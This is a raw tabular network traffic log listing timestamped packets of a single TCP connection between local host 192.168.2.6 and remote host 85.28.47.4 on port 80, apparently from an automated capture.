Jun 26, 2024 08:16:18.067183971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067198992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067213058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067226887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067230940 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067241907 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067245960 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067257881 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067284107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067291975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067306995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067320108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067327023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067334890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067337990 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067338943 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067384005 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067399979 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067401886 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067401886 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067414999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067429066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067460060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067465067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067465067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067465067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067482948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067492962 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067492962 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067497969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067513943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067528009 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067528963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067544937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067554951 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067554951 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067560911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067575932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067588091 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067591906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067606926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067627907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067627907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067704916 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.119563103 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.124845982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.839576960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.841753006 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:19.580393076 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:19.585302114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:20.290266037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:20.290338039 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:21.114447117 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:21.119342089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:21.819581985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:21.819658995 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.423535109 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.428735018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.598654032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.598685026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.598701954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.598722935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.598747969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.598764896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.598767042 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.598781109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.598797083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.598854065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.598855972 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.598870993 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.598890066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.598907948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.598941088 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.598948002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.598967075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.598982096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.598983049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.598997116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.599061012 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.599061966 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.683284044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683317900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683332920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683358908 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.683373928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683391094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683402061 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.683408022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683448076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683453083 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.683464050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683480024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683506012 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.683535099 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.683620930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683636904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683654070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683674097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683685064 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.683691025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683706999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683722019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683732033 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.683742046 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683760881 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.683767080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683783054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683785915 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.683799982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683800936 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.683815956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683831930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683845043 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.683845997 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683861971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.683896065 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.684026957 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.686476946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.686650991 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.765326977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765357018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765372038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765387058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765410900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765428066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765438080 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.765444040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765460968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765467882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765484095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765549898 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.765549898 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.765549898 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.765562057 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765578032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765593052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765615940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765630007 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.765631914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765647888 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.765676022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765691996 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765697956 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.765708923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765708923 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.765726089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765738010 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.765757084 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.765789986 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.765885115 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765899897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765913963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765932083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765944958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765959978 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.765964031 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.765964031 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.765969992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.766017914 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.766716957 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.767326117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767343998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767362118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767376900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767394066 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.767400026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767419100 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767433882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767437935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.767450094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767466068 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767478943 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.767479897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767496109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767501116 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.767510891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767525911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767539024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767540932 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.767553091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767568111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767580032 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.767584085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767595053 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.767601013 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767617941 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767633915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767635107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.767648935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767666101 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767672062 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.767682076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767694950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.767698050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767714024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767729998 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.767731905 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767745972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:22.767765999 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:22.767787933 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.037229061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037261963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037277937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037357092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037379026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037394047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037410021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037425041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037430048 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.037431002 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.037477016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.037501097 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.037502050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037518978 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037535906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037549973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037574053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037589073 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037611008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037626028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037641048 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037641048 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.037641048 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.037641048 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.037657022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037666082 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.037781000 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.037885904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037899971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037914038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037929058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037930965 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.037945032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037961006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037975073 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.037991047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.038002968 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.038002968 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.038005114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.038028002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.038037062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.038052082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.038059950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.038068056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.038084030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.038096905 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.038111925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.038127899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.038155079 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.038155079 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.038156033 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.038182974 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.038898945 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.038913965 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.038928986 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.038947105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.038952112 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.038966894 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.038971901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.038971901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.038983107 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039005995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039021015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039021969 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039036036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039046049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039051056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039067984 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039082050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039097071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039110899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039119959 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039119959 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039125919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039141893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039155960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039172888 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039172888 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039180994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039196968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039203882 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039213896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039227962 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039246082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039268017 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039268017 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039273024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039288998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039294958 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039304018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039326906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039341927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039347887 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039361954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039376974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039377928 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039392948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039407015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039422035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039428949 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039441109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039457083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039468050 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039469004 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039472103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039488077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039504051 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039524078 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039527893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039544106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039558887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039562941 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039573908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039589882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039598942 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039603949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039619923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039633989 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039649010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039663076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039664984 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039679050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039696932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039712906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039725065 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039725065 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039725065 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039727926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039745092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039758921 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039760113 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039773941 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039788008 CEST	80	49713	85.28.47.4	192.168.2.6
